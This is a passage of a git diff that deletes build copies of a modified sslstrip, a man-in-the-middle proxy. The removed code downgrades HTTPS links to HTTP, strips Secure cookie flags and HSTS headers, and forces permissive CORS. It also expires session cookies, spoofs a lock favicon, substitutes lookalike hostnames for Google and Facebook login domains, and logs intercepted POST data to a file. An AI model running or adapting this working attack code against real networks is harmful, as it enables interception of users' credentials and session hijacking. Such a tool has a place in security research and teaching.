deferred.addCallback(self.handleHostResolvedSuccess) - deferred.addErrback(self.handleHostResolvedError) - - def proxyViaHTTP(self, host, method, path, postData, headers): - connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) - self.save_req("debug_ssl.log",method+' http://'+host+path+'\n'+str(headers)+'\n'+postData+'\n') - connectionFactory.protocol = ServerConnection - self.reactor.connectTCP(host, 80, connectionFactory) - - def proxyViaSSL(self, host, method, path, postData, headers, port): - self.save_req("debug_ssl.log",method+' https://'+host+path+'\n'+str(headers)+'\n'+postData+'\n') - clientContextFactory = ssl.ClientContextFactory() - connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) - connectionFactory.protocol = SSLServerConnection - self.reactor.connectSSL(host, port, connectionFactory, clientContextFactory) - - def sendExpiredCookies(self, host, path, expireHeaders): - self.setResponseCode(302, "Moved") - self.setHeader("Connection", "close") - self.setHeader("Location", "http://" + host + path) - - for header in expireHeaders: - self.setHeader("Set-Cookie", header) - - self.finish() - - def sendSpoofedFaviconResponse(self): - icoFile = open(self.getPathToLockIcon()) - - self.setResponseCode(200, "OK") - self.setHeader("Content-type", "image/x-icon") - self.write(icoFile.read()) - - icoFile.close() - self.finish() diff --git a/build/lib.linux-i686-2.6/sslstrip/CookieCleaner.py b/build/lib.linux-i686-2.6/sslstrip/CookieCleaner.py deleted file mode 100644 index 591584a..0000000 --- a/build/lib.linux-i686-2.6/sslstrip/CookieCleaner.py +++ /dev/null @@ -1,106 +0,0 @@ -# Copyright (c) 2004-2011 Moxie Marlinspike -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import logging -import string - -class CookieCleaner: - '''This class cleans cookies we haven't seen before. The basic idea is to - kill sessions, which isn't entirely straight-forward. Since we want this to - be generalized, there's no way for us to know exactly what cookie we're trying - to kill, which also means we don't know what domain or path it has been set for. - - The rule with cookies is that specific overrides general. So cookies that are - set for mail.foo.com override cookies with the same name that are set for .foo.com, - just as cookies that are set for foo.com/mail override cookies with the same name - that are set for foo.com/ - - The best we can do is guess, so we just try to cover our bases by expiring cookies - in a few different ways. The most obvious thing to do is look for individual cookies - and nail the ones we haven't seen coming from the server, but the problem is that cookies are often - set by Javascript instead of a Set-Cookie header, and if we block those the site - will think cookies are disabled in the browser. So we do the expirations and whitlisting - based on client,server tuples. The first time a client hits a server, we kill whatever - cookies we see then. After that, we just let them through. Not perfect, but pretty effective. - - ''' - - _instance = None - - def getInstance(): - if CookieCleaner._instance == None: - CookieCleaner._instance = CookieCleaner() - - return CookieCleaner._instance - - getInstance = staticmethod(getInstance) - - def __init__(self): - self.cleanedCookies = set(); - self.enabled = False - - def setEnabled(self, enabled): - self.enabled = enabled - - def isClean(self, method, client, host, headers): - if method == "POST": return True - if not self.enabled: return True - if not self.hasCookies(headers): return True - - return (client, self.getDomainFor(host)) in self.cleanedCookies - - def getExpireHeaders(self, method, client, host, headers, path): - domain = self.getDomainFor(host) - self.cleanedCookies.add((client, domain)) - - expireHeaders = [] - - for cookie in headers['cookie'].split(";"): - cookie = cookie.split("=")[0].strip() - expireHeadersForCookie = self.getExpireCookieStringFor(cookie, host, domain, path) - expireHeaders.extend(expireHeadersForCookie) - - return expireHeaders - - def hasCookies(self, headers): - return 'cookie' in headers - - def getDomainFor(self, host): - hostParts = host.split(".") - return "." + hostParts[-2] + "." + hostParts[-1] - - def getExpireCookieStringFor(self, cookie, host, domain, path): - pathList = path.split("/") - expireStrings = list() - - expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + domain + - ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") - - expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + host + - ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") - - if len(pathList) > 2: - expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" + - domain + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") - - expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" + - host + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") - - return expireStrings - - diff --git a/build/lib.linux-i686-2.6/sslstrip/DnsCache.py b/build/lib.linux-i686-2.6/sslstrip/DnsCache.py deleted file mode 100644 index 91931a4..0000000 --- a/build/lib.linux-i686-2.6/sslstrip/DnsCache.py +++ /dev/null @@ -1,28 +0,0 @@ - -class DnsCache: - - ''' - The DnsCache maintains a cache of DNS lookups, mirroring the browser experience. - ''' - - _instance = None - - def __init__(self): - self.cache = {} - - def cacheResolution(self, host, address): - self.cache[host] = address - - def getCachedAddress(self, host): - if host in self.cache: - return self.cache[host] - - return None - - def getInstance(): - if DnsCache._instance == None: - DnsCache._instance = DnsCache() - - return DnsCache._instance - - getInstance = staticmethod(getInstance) diff --git a/build/lib.linux-i686-2.6/sslstrip/SSLServerConnection.py b/build/lib.linux-i686-2.6/sslstrip/SSLServerConnection.py deleted file mode 100644 index b765ce4..0000000 --- a/build/lib.linux-i686-2.6/sslstrip/SSLServerConnection.py +++ /dev/null @@ -1,121 +0,0 @@ -# Copyright (c) 2004-2009 Moxie Marlinspike -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import logging, re, string - -from ServerConnection import ServerConnection - -class SSLServerConnection(ServerConnection): - - ''' - For SSL connections to a server, we need to do some additional stripping. First we need - to make note of any relative links, as the server will be expecting those to be requested - via SSL as well. We also want to slip our favicon in here and kill the secure bit on cookies. - ''' - - cookieExpression = re.compile(r"([ \w\d:#@%/;$()~_?\+-=\\\.&]+); ?Secure", re.IGNORECASE) - cssExpression = re.compile(r"url\(([\w\d:#@%/;$~_?\+-=\\\.&]+)\)", re.IGNORECASE) - iconExpression = re.compile(r"", re.IGNORECASE) - linkExpression = re.compile(r"<((a)|(link)|(img)|(script)|(frame)) .*((href)|(src))=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE) - headExpression = re.compile(r"", re.IGNORECASE) - - def __init__(self, command, uri, postData, headers, client): - ServerConnection.__init__(self, command, uri, postData, headers, client) - - def getLogLevel(self): - return logging.INFO - - def getPostPrefix(self): - return "SECURE POST" - - def handleHeader(self, key, value): - if (key.lower() == 'set-cookie'): - newvalues =[] - value = SSLServerConnection.cookieExpression.sub("\g<1>", value) - values = value.split(';') - for v in values: - if v[:7].lower()==' domain': - dominio=v.split("=")[1] - logging.debug("LEO Parsing cookie domain parameter: %s"%v) - real = self.urlMonitor.sustitucion - if dominio in real: - v=" Domain=%s"%real[dominio] - logging.debug("LEO New cookie domain parameter: %s"%v) - newvalues.append(v) - value = ';'.join(newvalues) - - if (key.lower() == 'access-control-allow-origin'): - value='*' - - ServerConnection.handleHeader(self, key, value) - - def stripFileFromPath(self, path): - (strippedPath, lastSlash, file) = path.rpartition('/') - return strippedPath - - def buildAbsoluteLink(self, link): - absoluteLink = "" - - if ((not link.startswith('http')) and (not link.startswith('/'))): - absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link - - logging.debug("Found path-relative link in secure transmission: " + link) - logging.debug("New Absolute path-relative link: " + absoluteLink) - elif not link.startswith('http'): - absoluteLink = "http://"+self.headers['host']+link - - logging.debug("Found relative link in secure transmission: " + link) - logging.debug("New Absolute link: " + absoluteLink) - - if not absoluteLink == "": - absoluteLink = absoluteLink.replace('&', '&') - self.urlMonitor.addSecureLink(self.client.getClientIP(), absoluteLink); - - def replaceCssLinks(self, data): - iterator = re.finditer(SSLServerConnection.cssExpression, data) - - for match in iterator: - self.buildAbsoluteLink(match.group(1)) - - return data - - def replaceFavicon(self, data): - match = re.search(SSLServerConnection.iconExpression, data) - - if (match != None): - data = re.sub(SSLServerConnection.iconExpression, - "", data) - else: - data = re.sub(SSLServerConnection.headExpression, - "", data) - - return data - - def replaceSecureLinks(self, data): - data = ServerConnection.replaceSecureLinks(self, data) - data = self.replaceCssLinks(data) - - if (self.urlMonitor.isFaviconSpoofing()): - data = self.replaceFavicon(data) - - iterator = re.finditer(SSLServerConnection.linkExpression, data) - - for match in iterator: - self.buildAbsoluteLink(match.group(10)) - - return data diff --git a/build/lib.linux-i686-2.6/sslstrip/ServerConnection.py b/build/lib.linux-i686-2.6/sslstrip/ServerConnection.py deleted file mode 100644 index a7be05e..0000000 --- a/build/lib.linux-i686-2.6/sslstrip/ServerConnection.py +++ /dev/null @@ -1,184 +0,0 @@ -# Copyright (c) 2004-2009 Moxie Marlinspike -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import logging, re, string, random, zlib, gzip, StringIO - -from twisted.web.http import HTTPClient -from URLMonitor import URLMonitor - -class ServerConnection(HTTPClient): - - ''' The server connection is where we do the bulk of the stripping. Everything that - comes back is examined. The headers we dont like are removed, and the links are stripped - from HTTPS to HTTP. - ''' - - urlExpression = re.compile(r"(https://[\w\d:#@%/;$()~_?\+-=\\\.&]*)", re.IGNORECASE) - urlType = re.compile(r"https://", re.IGNORECASE) - urlTypewww = re.compile(r"https://www", re.IGNORECASE) - urlwExplicitPort = re.compile(r'https://www([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE) - urlExplicitPort = re.compile(r'https://([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE) - urlToken1 = re.compile(r'(https://[a-zA-Z0-9./]+\?)', re.IGNORECASE) - urlToken2 = re.compile(r'(https://[a-zA-Z0-9./]+)\?{0}', re.IGNORECASE) -# urlToken2 = re.compile(r'(https://[a-zA-Z0-9.]+/?[a-zA-Z0-9.]*/?)\?{0}', re.IGNORECASE) - - def __init__(self, command, uri, postData, headers, client): - self.command = command - self.uri = uri - self.postData = postData - self.headers = headers - self.client = client - self.urlMonitor = URLMonitor.getInstance() - self.isImageRequest = False - self.isCompressed = False - self.contentLength = None - self.shutdownComplete = False - - def getLogLevel(self): - return logging.DEBUG - - def getPostPrefix(self): - return "POST" - - def sendRequest(self): - logging.log(self.getLogLevel(), "Sending Request: %s %s" % (self.command, self.uri)) - self.sendCommand(self.command, self.uri) - - def sendHeaders(self): - for header, value in self.headers.items(): - logging.log(self.getLogLevel(), "Sending header: %s : %s" % (header, value)) - self.sendHeader(header, value) - - self.endHeaders() - - def sendPostData(self): - logging.warning(self.getPostPrefix() + " Data (" + self.headers['host'] + "):\n" + str(self.postData)) - self.transport.write(self.postData) - - def connectionMade(self): - logging.log(self.getLogLevel(), "HTTP connection made.") - self.sendRequest() - self.sendHeaders() - - if (self.command == 'POST'): - self.sendPostData() - - def handleStatus(self, version, code, message): - logging.log(self.getLogLevel(), "Got server response: %s %s %s" % (version, code, message)) - self.client.setResponseCode(int(code), message) - - def handleHeader(self, key, value): - logging.log(self.getLogLevel(), "Got server header: %s:%s" % (key, value)) - - if (key.lower() == 'location'): - value = self.replaceSecureLinks(value) - - if (key.lower() == 'content-type'): - if (value.find('image') != -1): - self.isImageRequest = True - logging.debug("Response is image content, not scanning...") - - if (key.lower() == 'content-encoding'): - if (value.find('gzip') != -1): - logging.debug("Response is compressed...") - self.isCompressed = True - elif (key.lower() == 'content-length'): - self.contentLength = value - elif (key.lower() == 'set-cookie'): - self.client.responseHeaders.addRawHeader(key, value) - elif (key.lower()== 'strict-transport-security'): - logging.log(self.getLogLevel(), "LEO Erasing Strict Transport Security....") - else: - self.client.setHeader(key, value) - - - def handleEndHeaders(self): - if (self.isImageRequest and self.contentLength != None): - self.client.setHeader("Content-Length", self.contentLength) - - if self.length == 0: - self.shutdown() - - def handleResponsePart(self, data): - if (self.isImageRequest): - self.client.write(data) - else: - HTTPClient.handleResponsePart(self, data) - - def handleResponseEnd(self): - if (self.isImageRequest): - self.shutdown() - else: - HTTPClient.handleResponseEnd(self) - - def handleResponse(self, data): - if (self.isCompressed): - logging.debug("Decompressing content...") - data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() - - logging.log(self.getLogLevel(), "Read from server:\n" + data) - #logging.log(self.getLogLevel(), "Read from server:\n " ) - - - data = self.replaceSecureLinks(data) - - if (self.contentLength != None): - self.client.setHeader('Content-Length', len(data)) - - self.client.write(data) - self.shutdown() - - def replaceSecureLinks(self, data): - sustitucion = {} - patchDict = self.urlMonitor.patchDict - if len(patchDict)>0: - dregex = re.compile("(%s)" % "|".join(map(re.escape, patchDict.keys()))) - data = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), data) - - iterator = re.finditer(ServerConnection.urlExpression, data) - for match in iterator: - url = match.group() - - logging.debug("Found secure reference: " + url) - nuevaurl=self.urlMonitor.addSecureLink(self.client.getClientIP(), url) - logging.debug("LEO replacing %s => %s"%(url,nuevaurl)) - sustitucion[url] = nuevaurl - #data.replace(url,nuevaurl) - - #data = self.urlMonitor.DataReemplazo(data) - if len(sustitucion)>0: - dregex = re.compile("(%s)" % "|".join(map(re.escape, sustitucion.keys()))) - data = dregex.sub(lambda x: str(sustitucion[x.string[x.start() :x.end()]]), data) - - #logging.debug("LEO DEBUG received data:\n"+data) - #data = re.sub(ServerConnection.urlExplicitPort, r'https://\1/', data) - #data = re.sub(ServerConnection.urlTypewww, 'http://w', data) - #if data.find("http://w.face")!=-1: - # logging.debug("LEO DEBUG Found error in modifications") - # raw_input("Press Enter to continue") - #return re.sub(ServerConnection.urlType, 'http://web.', data) - return data - - - def shutdown(self): - if not self.shutdownComplete: - self.shutdownComplete = True - self.client.finish() - self.transport.loseConnection() - - diff --git a/build/lib.linux-i686-2.6/sslstrip/ServerConnectionFactory.py b/build/lib.linux-i686-2.6/sslstrip/ServerConnectionFactory.py deleted file mode 100644 index 793bdc6..0000000 --- a/build/lib.linux-i686-2.6/sslstrip/ServerConnectionFactory.py +++ /dev/null @@ -1,44 +0,0 @@ -# Copyright (c) 2004-2009 Moxie Marlinspike -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import logging -from twisted.internet.protocol import ClientFactory - -class ServerConnectionFactory(ClientFactory): - - def __init__(self, command, uri, postData, headers, client): - self.command = command - self.uri = uri - self.postData = postData - self.headers = headers - self.client = client - - def buildProtocol(self, addr): - return self.protocol(self.command, self.uri, self.postData, self.headers, self.client) - - def clientConnectionFailed(self, connector, reason): - logging.debug("Server connection failed.") - - destination = connector.getDestination() - - if (destination.port != 443): - logging.debug("Retrying via SSL") - self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443) - else: - self.client.finish() - diff --git a/build/lib.linux-i686-2.6/sslstrip/StrippingProxy.py b/build/lib.linux-i686-2.6/sslstrip/StrippingProxy.py deleted file mode 100644 index f4c1e89..0000000 --- a/build/lib.linux-i686-2.6/sslstrip/StrippingProxy.py +++ /dev/null @@ -1,29 +0,0 @@ -# Copyright (c) 2004-2009 Moxie Marlinspike -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -from twisted.web.http import HTTPChannel -from ClientRequest import ClientRequest - -class StrippingProxy(HTTPChannel): - '''sslstrip is, at heart, a transparent proxy server that does some unusual things. - This is the basic proxy server class, where we get callbacks for GET and POST methods. - We then proxy these out using HTTP or HTTPS depending on what information we have about - the (connection, client_address) tuple in our cache. - ''' - - requestFactory = ClientRequest diff --git a/build/lib.linux-i686-2.6/sslstrip/URLMonitor.py b/build/lib.linux-i686-2.6/sslstrip/URLMonitor.py deleted file mode 100644 index a6c167a..0000000 --- a/build/lib.linux-i686-2.6/sslstrip/URLMonitor.py +++ /dev/null @@ -1,112 +0,0 @@ -# URLMonitor - -import re -import logging - -class URLMonitor: - - ''' - The URL monitor maintains a set of (client, url) tuples that correspond to requests which the - server is expecting over SSL. It also keeps track of secure favicon urls. - ''' - - # Start the arms race, and end up here... - javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")] - _instance = None - sustitucion = {} # LEO: diccionario host / sustitucion - real = {} # LEO: diccionario host / real - patchDict = { - 'https:\/\/fbstatic-a.akamaihd.net':'http:\/\/webfbstatic-a.akamaihd.net', - 'https:\/\/www.facebook.com':'http:\/\/social.facebook.com', - 'return"https:"':'return"http:"' - } - - def __init__(self): - self.strippedURLs = set() - self.strippedURLPorts = {} - self.faviconReplacement = False - - self.sustitucion["mail.google.com"] = "gmail.google.com" - self.real["gmail.google.com"] = "mail.google.com" - - self.sustitucion["www.facebook.com"] = "social.facebook.com" - self.real["social.facebook.com"] = "www.facebook.com" - - self.sustitucion["accounts.google.com"] = "cuentas.google.com" - self.real["cuentas.google.com"] = "accounts.google.com" - - self.sustitucion["accounts.google.es"] = "cuentas.google.es" - self.real["cuentas.google.es"] = "accounts.google.es" - - def isSecureLink(self, client, url): - for expression in URLMonitor.javascriptTrickery: - if (re.match(expression, url)): - return True - - return (client,url) in self.strippedURLs - - def getSecurePort(self, client, url): - if (client,url) in self.strippedURLs: - return self.strippedURLPorts[(client,url)] - else: - return 443 - - def addSecureLink(self, client, url): - methodIndex = url.find("//") + 2 - method = url[0:methodIndex] - pathIndex = url.find("/", methodIndex) - host = url[methodIndex:pathIndex].lower() - path = url[pathIndex:] - - port = 443 - portIndex = host.find(":") - - if (portIndex != -1): - host = host[0:portIndex] - port = host[portIndex+1:] - if len(port) == 0: - port = 443 - - #LEO: Sustituir HOST - if not self.sustitucion.has_key(host): - lhost = host[:4] - if lhost=="www.": - self.sustitucion[host] = "w"+host - self.real["w"+host] = host - else: - self.sustitucion[host] = "web"+host - self.real["web"+host] = host - logging.debug("LEO: ssl host (%s) tokenized (%s)" % (host,self.sustitucion[host]) ) - - url = 'http://' + host + path - #logging.debug("LEO stripped URL: %s %s"%(client, url)) - - self.strippedURLs.add((client, url)) - self.strippedURLPorts[(client, url)] = int(port) - return 'http://'+self.sustitucion[host]+path - - def setFaviconSpoofing(self, faviconSpoofing): - self.faviconSpoofing = faviconSpoofing - - def isFaviconSpoofing(self): - return self.faviconSpoofing - - def isSecureFavicon(self, client, url): - return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1)) - - def URLgetRealHost(self,host): - logging.debug("Parsing host: %s"%host) - if self.real.has_key(host): - logging.debug("New host: %s"%self.real[host]) - return self.real[host] - else: - logging.debug("New host: %s"%host) - return host - - def getInstance(): - if URLMonitor._instance == None: - URLMonitor._instance = URLMonitor() - - return URLMonitor._instance - - getInstance = staticmethod(getInstance) diff --git a/build/lib.linux-i686-2.6/sslstrip/__init__.py b/build/lib.linux-i686-2.6/sslstrip/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/build/lib.linux-i686-2.7/sslstrip/ClientRequest.py b/build/lib.linux-i686-2.7/sslstrip/ClientRequest.py deleted file mode 100644 index 182e372..0000000 --- a/build/lib.linux-i686-2.7/sslstrip/ClientRequest.py +++ /dev/null @@ -1,165 +0,0 @@ -# Copyright (c) 2004-2009 Moxie Marlinspike -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import urlparse, logging, os, sys, random - -from twisted.web.http import Request -from twisted.web.http import HTTPChannel -from twisted.web.http import HTTPClient - -from twisted.internet import ssl -from twisted.internet import defer -from twisted.internet import reactor -from twisted.internet.protocol import ClientFactory - -from ServerConnectionFactory import ServerConnectionFactory -from ServerConnection import ServerConnection -from SSLServerConnection import SSLServerConnection -from URLMonitor import URLMonitor -from CookieCleaner import CookieCleaner -from DnsCache import DnsCache - -class ClientRequest(Request): - - ''' This class represents incoming client requests and is essentially where - the magic begins. Here we remove the client headers we dont like, and then - respond with either favicon spoofing, session denial, or proxy through HTTP - or SSL to the server. - ''' - - def __init__(self, channel, queued, reactor=reactor): - Request.__init__(self, channel, queued) - self.reactor = reactor - self.urlMonitor = URLMonitor.getInstance() - self.cookieCleaner = CookieCleaner.getInstance() - self.dnsCache = DnsCache.getInstance() -# self.uniqueId = random.randint(0, 10000) - - def cleanHeaders(self): - headers = self.getAllHeaders().copy() - - if 'accept-encoding' in headers: - del headers['accept-encoding'] - - if 'if-modified-since' in headers: - del headers['if-modified-since'] - - if 'cache-control' in headers: - del headers['cache-control'] - - return headers - - def getPathFromUri(self): - if (self.uri.find("http://") == 0): - index = self.uri.find('/', 7) - return self.uri[index:] - - return self.uri - - def getPathToLockIcon(self): - if os.path.exists("lock.ico"): return "lock.ico" - - scriptPath = os.path.abspath(os.path.dirname(sys.argv[0])) - scriptPath = os.path.join(scriptPath, "../share/sslstrip/lock.ico") - - if os.path.exists(scriptPath): return scriptPath - - logging.warning("Error: Could not find lock.ico") - return "lock.ico" - - def handleHostResolvedSuccess(self, address): - logging.debug("Resolved host successfully: %s -> %s" % (self.getHeader('host').lower(), address)) - lhost = self.getHeader("host").lower() - host = self.urlMonitor.URLgetRealHost(lhost) - headers = self.cleanHeaders() - client = self.getClientIP() - path = self.getPathFromUri() - - self.content.seek(0,0) - postData = self.content.read() - url = 'http://' + host + path - - self.dnsCache.cacheResolution(host, address) - - if (not self.cookieCleaner.isClean(self.method, client, host, headers)): - logging.debug("Sending expired cookies...") - self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, - host, headers, path)) - elif (self.urlMonitor.isSecureFavicon(client, path)): - logging.debug("Sending spoofed favicon response...") - self.sendSpoofedFaviconResponse() - elif (self.urlMonitor.isSecureLink(client, url)): - logging.debug("Sending request via SSL...") - self.proxyViaSSL(address, self.method, path, postData, headers, - self.urlMonitor.getSecurePort(client, url)) - else: - logging.debug("Sending request via HTTP...") - self.proxyViaHTTP(address, self.method, path, postData, headers) - - def handleHostResolvedError(self, error): - logging.warning("Host resolution error: " + str(error)) - self.finish() - - def resolveHost(self, host): - address = self.dnsCache.getCachedAddress(host) - - if address != None: - logging.debug("Host cached.") - return defer.succeed(address) - else: - logging.debug("Host not cached.") - return reactor.resolve(host) - - def process(self): - logging.debug("Resolving host: %s" % (self.getHeader('host'))) - host = self.getHeader('host') - deferred = self.resolveHost(host) - - deferred.addCallback(self.handleHostResolvedSuccess) - deferred.addErrback(self.handleHostResolvedError) - - def proxyViaHTTP(self, host, method, path, postData, headers): - connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) - connectionFactory.protocol = ServerConnection - self.reactor.connectTCP(host, 80, connectionFactory) - - def proxyViaSSL(self, host, method, path, postData, headers, port): - clientContextFactory = ssl.ClientContextFactory() - connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) - connectionFactory.protocol = SSLServerConnection - self.reactor.connectSSL(host, port, connectionFactory, clientContextFactory) - - def sendExpiredCookies(self, host, path, expireHeaders): - self.setResponseCode(302, "Moved") - self.setHeader("Connection", "close") - self.setHeader("Location", "http://" + host + path) - - for header in expireHeaders: - self.setHeader("Set-Cookie", header) - - self.finish() - - def sendSpoofedFaviconResponse(self): - icoFile = open(self.getPathToLockIcon()) - - self.setResponseCode(200, "OK") - self.setHeader("Content-type", "image/x-icon") - self.write(icoFile.read()) - - icoFile.close() - self.finish() diff --git a/build/lib.linux-i686-2.7/sslstrip/CookieCleaner.py b/build/lib.linux-i686-2.7/sslstrip/CookieCleaner.py deleted file mode 100644 index 591584a..0000000 --- a/build/lib.linux-i686-2.7/sslstrip/CookieCleaner.py +++ /dev/null @@ -1,106 +0,0 @@ -# Copyright (c) 2004-2011 Moxie Marlinspike -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import logging -import string - -class CookieCleaner: - '''This class cleans cookies we haven't seen before. The basic idea is to - kill sessions, which isn't entirely straight-forward. Since we want this to - be generalized, there's no way for us to know exactly what cookie we're trying - to kill, which also means we don't know what domain or path it has been set for. - - The rule with cookies is that specific overrides general. So cookies that are - set for mail.foo.com override cookies with the same name that are set for .foo.com, - just as cookies that are set for foo.com/mail override cookies with the same name - that are set for foo.com/ - - The best we can do is guess, so we just try to cover our bases by expiring cookies - in a few different ways. The most obvious thing to do is look for individual cookies - and nail the ones we haven't seen coming from the server, but the problem is that cookies are often - set by Javascript instead of a Set-Cookie header, and if we block those the site - will think cookies are disabled in the browser. So we do the expirations and whitlisting - based on client,server tuples. The first time a client hits a server, we kill whatever - cookies we see then. After that, we just let them through. Not perfect, but pretty effective. - - ''' - - _instance = None - - def getInstance(): - if CookieCleaner._instance == None: - CookieCleaner._instance = CookieCleaner() - - return CookieCleaner._instance - - getInstance = staticmethod(getInstance) - - def __init__(self): - self.cleanedCookies = set(); - self.enabled = False - - def setEnabled(self, enabled): - self.enabled = enabled - - def isClean(self, method, client, host, headers): - if method == "POST": return True - if not self.enabled: return True - if not self.hasCookies(headers): return True - - return (client, self.getDomainFor(host)) in self.cleanedCookies - - def getExpireHeaders(self, method, client, host, headers, path): - domain = self.getDomainFor(host) - self.cleanedCookies.add((client, domain)) - - expireHeaders = [] - - for cookie in headers['cookie'].split(";"): - cookie = cookie.split("=")[0].strip() - expireHeadersForCookie = self.getExpireCookieStringFor(cookie, host, domain, path) - expireHeaders.extend(expireHeadersForCookie) - - return expireHeaders - - def hasCookies(self, headers): - return 'cookie' in headers - - def getDomainFor(self, host): - hostParts = host.split(".") - return "." + hostParts[-2] + "." + hostParts[-1] - - def getExpireCookieStringFor(self, cookie, host, domain, path): - pathList = path.split("/") - expireStrings = list() - - expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + domain + - ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") - - expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + host + - ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") - - if len(pathList) > 2: - expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" + - domain + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") - - expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" + - host + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") - - return expireStrings - - diff --git a/build/lib.linux-i686-2.7/sslstrip/DnsCache.py b/build/lib.linux-i686-2.7/sslstrip/DnsCache.py deleted file mode 100644 index 91931a4..0000000 --- a/build/lib.linux-i686-2.7/sslstrip/DnsCache.py +++ /dev/null @@ -1,28 +0,0 @@ - -class DnsCache: - - ''' - The DnsCache maintains a cache of DNS lookups, mirroring the browser experience. - ''' - - _instance = None - - def __init__(self): - self.cache = {} - - def cacheResolution(self, host, address): - self.cache[host] = address - - def getCachedAddress(self, host): - if host in self.cache: - return self.cache[host] - - return None - - def getInstance(): - if DnsCache._instance == None: - DnsCache._instance = DnsCache() - - return DnsCache._instance - - getInstance = staticmethod(getInstance) diff --git a/build/lib.linux-i686-2.7/sslstrip/SSLServerConnection.py b/build/lib.linux-i686-2.7/sslstrip/SSLServerConnection.py deleted file mode 100644 index 2859fa4..0000000 --- a/build/lib.linux-i686-2.7/sslstrip/SSLServerConnection.py +++ /dev/null 